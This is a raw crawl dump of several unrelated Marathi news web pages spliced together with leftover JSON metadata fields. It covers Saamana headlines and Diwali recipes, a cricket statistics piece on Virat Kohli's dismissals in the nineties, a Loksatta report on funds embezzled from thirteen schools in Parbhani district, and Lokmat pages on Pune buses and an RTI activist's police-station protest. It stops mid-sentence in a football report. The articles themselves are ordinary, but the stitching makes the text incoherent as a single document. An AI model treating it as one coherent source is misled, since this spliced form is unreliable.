वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nदिवाळी स्पेशल रेसिपी – पुदीना शेव\nसाहित्य २ वाट्या तांदळाचे पीठ, १ पुदीन्याची जुडी, १ मोठा उकडलेला बटाटा, ८-९ हिरव्या मिरच्या, अर्धा चमचा काळी मिरी, अर्धा चमचा दालचिनी पावडर, अर्धा चमचा...\nदिवाळी स्पेशल रेसिपी – चण्याच्या डाळीचे लाडू\nसाहित्य २ वाटी चण्याची डाळ, १ वाटी साखर, १ ते सव्वा वाटी खवलेला नारळ, पाऊण वाटी तूप, ६-७ चमचे दूध, अर्धी वाटी सुकामेवा, १ चमचा...\nमेंदी रंगण्यासाठी ‘हे’ उपाय नक्की करा\n मुंबई मेंदी काढून घ्यायला अनेकींना आवडते. सण किंवा शुभकार्य असल्यास मुली आणि महिला हमखास मेंदी काढून घेतात. पण काही वेळा मेंदी रंगत...\nदिवाळी स्पेशल रेसिपी – गुलकंद करंज्या\n मुंबई सारणासाठीचं साहित्य ३ वाट्या ओलं खोबरं, १ वाटी साखर, २ टेबलस्पून गुलकंद पारीसाठी लागणारे साहित्य १ वाटी रवा, १ वाटी मैदा, चिमूटभर मीठ,...\nदिवाळीच्या दिवसांची महती, वाचा सविस्तर…\n मुंबई हिंदू धर्मात दिवाळीला विशेष महत्त्व दिले जाते. संस्कृतमध्ये दिवाळीला दिपावली असेही म्हणतात. दिवाळीच्या दिवसांत बाजारात खरेदीला उधाण आले असते. सगळीकडे उत्साहाचे...\nसोने खरेदी करताय मग हे वाचाच…\n मुंबई दिवाळीच्या शुभमुहूर्तावर अनेकजण सोने खरेदी करतात. पण सोने खरेदीच्या याच उत्साहाचा अनेक ज्वेलर्स गैरफायदा घेत ग्राहकांची फसवणूक करतात. यासाठीच या काही उपयुक्त...\nकसा साजरा होतो इतर राज्यांमध्ये दीपोत्सव, वाचा….\n मुंबई दिवाळी म्हणजे दिव्यांचा सण. या सणाची सुरूवात वसुबारसपासून होते आणि भाऊबीज साजरी केल्यानंतर दिवाळीची सांगता होते. अबालवृद्धांचा हा लाडका सण. दिवाळी...\nसजून दारात, रंगीबेरंगी कंदिलाचा थाट…\nप्रज्ञा घोगळे आकाश दिवे. दिवाळीची चाहूल देणारी एक सुबक कलाकुसर. काळ बदलला तरी पारंपरिक आकाशकंदीलाची शान तीच आहे... सजून दारात, रंगीबेरंगी कंदिलाचा थाट... सुरू होते, दिवाळीची चैतन्यमय...\nमुलांनो अशी करा हटके दिवाळी…\n मुंबई मुलांची खरेदी म्हणजे कंटाळवाणा विषय, जिन्स टी-शर्ट, शर्ट या शिवाय त्यांना काही पर्याय नसतो. पण आता ट्रेंड बदलत चालला आहे. मुलंदेखील...\nदिवाळी स्पेशल रेसिपी- गव्हाची चकली\n मुंबई कणीक किंवा गव्हाची चकली साहित्य : ३ वाट्या गव्हाचे पीठ, २ चमचे तिखट, अर्धा चमचा हळद, ४ चमचे तीळ, चवीनुसार मीठ आणि...\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nमनाची कवाडं उघडणारे चित्रप्रदर्शन\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\n‘3 इडियट्स’मध्ये धार मारलेली ‘रँचो वॉल’ पाडण्याचा शाळेचा निर्णय\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00218.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://mahasports.co.in/5th-dismissals-in-90s-for-kohli/", "date_download": "2018-09-25T17:00:59Z", "digest": "sha1:U3CUFZOP3DI7UPXMOACM7IC52D4UYSE3", "length": 6486, "nlines": 59, "source_domain": "mahasports.co.in", "title": "सचिनच्या 'नर्व्हस ९०'च्या नात्यानंतर आता विराटही या यादीत -", "raw_content": "\nसचिनच्या ‘नर्व्हस ९०’च्या नात्यानंतर आता विराटही या यादीत\nसचिनच्या ‘नर्व्हस ९०’च्या नात्यानंतर आता विराटही या यादीत\n विराट कोहली आज ऑस्ट्रेलिया विरुद्ध दुसऱ्या वनडे सामन्यात ९२ धावांवर बाद झाला. याबरोबर तो मास्टर ब्लास्टर सचिन तेंडुलकरच्या नावावर असलेल्या नकोश्या विक्रमच्या यादीतही आला आहे.\nभारताकडून वनडेत ९० ते ९९ धावांमध्ये सर्वाधिक वेळा बाद किंवा नाबाद राहण्याचा विक्रम हा मास्टर ब्लास्टर सचिन तेंडुलकरच्या नावावर आहे. सचिन तब्बल १७ वेळा ‘नर्व्हस ९०’ मध्ये बाद झाला आहे. तर एका सामन्यात नाबाद राहिला आहे.\nविराट कोहलीही या यादीत सामील झाला असून विराटही वनडेमध्ये५वेळा ९०च्या घरात बाद झाला असून एकदा नाबाद राहिला आहे. यापूर्वी सचिन(१८), मोहम्मद अझरुद्दीन(७), वीरेंद्र सेहवाग(६), गांगुली(६), धोनी(६) आणि विराटही(६) हे फलंदाज ९० ते ९९ मध्ये बाद झाले आहेत किंवा नाबाद राहिले आहेत.\nविराट कोहली यापूर्वी ९१, ९४, ९९, ९१आणि ९२ धावांवर बाद झाला आहे तर ९६ धावांवर नाबाद राहिला आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00218.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.loksatta.com/maharashtra-news/32-lakh-corruption-in-school-1664359/", "date_download": "2018-09-25T17:13:20Z", "digest": "sha1:URI4NWSBER4HVIRZUXTVMXOFHQ44GFYX", "length": 15737, "nlines": 207, "source_domain": "www.loksatta.com", "title": "32 lakh corruption in school | तेरा शाळांमध्ये ३२ लाखांचा अपहार | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nतेरा शाळांमध्ये ३२ लाखांचा अपहार\nतेरा शाळांमध्ये ३२ लाखांचा अपहार\nजिल्ह्यतील शाळांना २००३ ते २०१२ या कालावधीत १३ शाळांना ९० लाखांचा निधी मिळाला होता.\n( संग्रहीत प्रतिकात्मक छायाचित्र )\nमुख्याध्यापकांसह संबंधितांवर गुन्हे दाखल करण्याचे निर्देश\nसर्व शिक्षा अभियानांतर्गत शालेय बांधकामासाठी निधी मिळालेल्या १३ शाळांनी अर्धवट बांधकाम करून ३२ लाख रुपयांचा अपहार केल्याचे उघड झाले होते. या प्रकरणी संबंधित शाळांना बांधकाम पूर्ण करण्याचे निर्देशही बजावण्यात आले हाते. परंतु याकडे दुर्लक्ष केलेल्या शाळांकडून अपहार केलेल्या निधीची वसुली करावी, तसेच संबंधितांवर गुन्हे दाखल करण्याचे निर्देश नव्याने दाखल झालेले जि.प.चे मुख्य कार्यकारी अधिकारी यांनी बजावले आहेत.\nजिल्ह्यतील शाळांना २००३ ते २०१२ या कालावधीत १३ शाळांना ९० लाखांचा निधी मिळाला होता. परंतु परभणी, पूर्णा, गंगाखेड आणि सोनपेठ या तालुक्यांतील १३ शाळांनी बांधकाम अर्धवट ठेवत रकमेत अपहार केल्याचे स्पष्ट झाले होते. शालेय व्यवस्थापन समिती अध्यक्ष, सचिव यांच्या खात्यावर रकमा जमा करण्यात आल्या होत्या. परंतु समितीने बांधकाम अर्धवट ठेवून रकमांमध्ये अपहार केल्याचे चौकशीत निष्पन्न झाले आहे. या प्रकरणी जि.प.च्या वरिष्ठ अधिकाऱ्यांनी २०१४ ते २०१७ या कालावधीत पाच वेळा संबंधित शाळांना बांधकाम पूर्ण करण्याचे निर्देश दिले असल्याचे नव्याने रूजू झालेले मुख्य कार्यकारी अधिकारी बी. पी. पृथ्वीराज यांना लक्षात आले. त्यांनी लगेच कडक भूमिका घेत संबंधित तालुक्याच्या गट शिक्षणाधिकाऱ्यांसह महापालिका प्रशासनास नोटिस बजावली. अपहार झालेली ३२ लाख २३ हजार ८८ रुपयांची रक्कम संबंधित शाळेच्या शालेय व्यवस्थापन समिती, ग्राम शिक्षण समिती अध्यक्ष आणि सचिव यांच्याकडून चालू दरसूचीनुसार वसूल करावी, असे आदेश दिले आहेत. तसेच संबंधितांवर गुन्हे दाखल करण्याचेही सांगण्यात आले आहे.\nमुख्य कार्यकारी अधिकाऱ्यांच्या आदेशानंतर गटविकास अधिकाऱ्यांनी कारवाई करताच गंगाखेड प्राथमिक शाळा मुख्याध्यापकांकडून ५ लाख १३ हजार रुपये वसूल करून गट शिक्षणाधिकाऱ्यांच्या खात्यावर जमा करण्यात आले आहेत. तर काल्रेवाडी जि.प. शाळेकडूनही ९० हजार रुपये वसूल करून खात्यावर जमा केले आहेत. उर्वरित शाळांकडून वसुलीची कारवाई सुरू आहे. दरम्यान महापालिकेअंतर्गत बांधकाम रखडलेल्या पाच शाळांच्या मुख्याध्यापकांसह शालेय व्यवस्थापन समिती अध्यक्षांना नोटीस बजावण्यात आली असून सात दिवसांच्या आत व्याजासह रकमा खात्यात जमा करण्याच्या सूचना देण्यात आल्या आहेत. दरम्यान मुख्य कार्यकारी अधिकाऱ्यांच्या आदेशाने या १३ शाळांच्या मुख्याध्यापकांसह इतरांचे धाबे दणाणले आहे.\nपरभणी महापालिकेअंतर्गत शाळा क्र.४ ने ३ लाख ४ हजार ६२५ रुपये, अंबिका नगर शाळा १ लाख ४० हजार ८३४ रुपये, खानापूर शाळा १ लाख ३७ हजार ७२५ रु., परसावत नगर शाळा ३ लाख १९ हजार १९९ रु., जिजामाता पोलीस क्वोर्टर ५ लाख २२ हजार ६१० रु., उखळद जि.प.शाळा १ लाख २२ हजार ८४ रु., जि. प. वझूर ता. पूर्णा ११ हजार ५०० रु., गंगाखेडच्या जि.प. खळी २ लाख ३६ हजार ६३६ रु., प्राथमिक शाळा गंगाखेड ४ लाख ५८ रु., जि.प. शाळा कारलेवाडी १ लाख ९६ हजार रु., जि.प.शाळा इसाद २ लाख ५६ हजार, जि. प. शाळा शेंडगा २ लाख २५ हजार, जि. प. शाळा उंडेगाव २ लाख ५६ हजार ५००, सोनपेठ तालुक्यातील भाऊचा तांडा जि. प. शाळा ३५ हजार ८७५ रुपयांचा अपहार झाला आहे. यातील उखळद शाळेचे प्रकरण न्यायप्रविष्ट झाले आहे.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00218.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/pmpml-bus/", "date_download": "2018-09-25T17:25:57Z", "digest": "sha1:VRWRBZT22JBWYA5Z4H3SVKIZNW4ZCJVG", "length": 10045, "nlines": 119, "source_domain": "lokmat.news18.com", "title": "Pmpml Bus- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nपीएमपीएमएल'चा तुका'राम'राम, वर्षभरातच तुकाराम मुंढेंची पुन्हा बदली\nकर्मचाऱ्यांचा ओव्हरटाईम बंद, भाडेतत्वारील बसेस बंद पडल्यास कंत्राटदाराला 5 हजार रूपयांचा दंड असे अनेक निर्णय त्यांनी घेतले होते.\nपीएमपीएमएल बसमुळे फाटली पँट; प्रवाशानं भरपाईसाठी केली तक्रार\nकोर्टाचा निर्णय 'बोनस द्या',तुकाराम मुंढे मात्र विरोधातच \nपुण्यात चोरीला गेलेली 'पीएमपीएमएल' बस नाशिकमध्ये सापडली\nपुण्यात पीएमपीएल बसला अपघात, 2 ठार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00219.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://lokmat.news18.com/news/the-injured-rti-activist-protest-police-station-262346.html", "date_download": "2018-09-25T16:50:46Z", "digest": "sha1:IQINRH4J4BVX2BRHAECI7LPTOAQVULQW", "length": 13111, "nlines": 125, "source_domain": "lokmat.news18.com", "title": "रुग्णवाहिका घेऊन जखमी आरटीआय कार्यकर्त्याचा पोलीस ठाण्यात ठिय्या", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nरुग्णवाहिका घेऊन जखमी आरटीआय कार्यकर्त्याचा पोलीस ठाण्यात ठिय्या\nडोंबिवली येथील आरटीआय कार्यकर्ते महेश निंबाळकर यांच्यावर दोन महिन्यापूर्वी काही अज्ञात गुंडांनी जीवघेणा हल्ला केला होता\n06 जून : डोंबिवली येथील आरटीआय कार्यकर्ते महेश निंबाळकर यांच्यावर दोन महिन्यापूर्वी काही अज्ञात गुंडांनी जीवघेणा हल्ला केला होता. मात्र, यातील दोन आरोपींना अटकपूर्व जामीन मिळाला होता तर अन्य आरोपींना अद्याप अटक करण्यात आली नसल्याने जखमी निंबाळकर यांनी मंगळवारी रुग्णवाहिके सकट रामनगर पोलीस ठाण्याच्या परिसरात ठिय्या मांडला. मध्ये महेश यांच्या परिवाराने आणि मित्र शामिल झाले होते.\nनिंबाळकर यांना त्यांच्या कार्यालयात घुसून काही अज्ञात गुंडांनी त्यांना बेदम मारहाण केली होती. यात ते गंभीर जखमी झाले होते. मात्र, या घटनेतील आरोपी अद्याप पोलिसांच्या हाती न लागल्याने निंबाळकर यांनी कुटुंबासह पोलीस ठाण्यात ठिय्या मांडला होता. याबाबत पोलिसांनी निंबाळकर यांच्याशी चर्चा करून लवकरच या प्रकरणाची कोर्टात लवकरच तारीख असून यावर तोडगा काढला जाईल असं आश्वासन दिल्यावर ठिय्या मागे घेतला अशी माहिती निंबाळकर यांनी दिली.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00220.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://mahasports.co.in/heartbreak-for-india-as-hosts-loose-against-colombia-1-2-in-their-second-match/", "date_download": "2018-09-25T17:44:51Z", "digest": "sha1:J6HQFXW263Q6OCSW6YBIHED6E73OSDBI", "length": 8985, "nlines": 71, "source_domain": "mahasports.co.in", "title": "अंडर १७ फुटबॉल: भारताला पुन्हा करावा लागला पराभवाचा सामना -", "raw_content": "\nअंडर १७ फुटबॉल: भारताला पुन्हा करावा लागला पराभवाचा सामना\nअंडर १७ फुटबॉल: भारताला पुन्हा करावा लागला पराभवाचा सामना\nकोलंबिया विरुद्ध १-२ असा झाला पराभव,\nदिल्लीच्या जवाहरलाल नेहरु मैदानावर भारताचा दुसरा सामना कोलंबिया बरोबर रंगला. दोन्ही संघांना अंतिम १६ 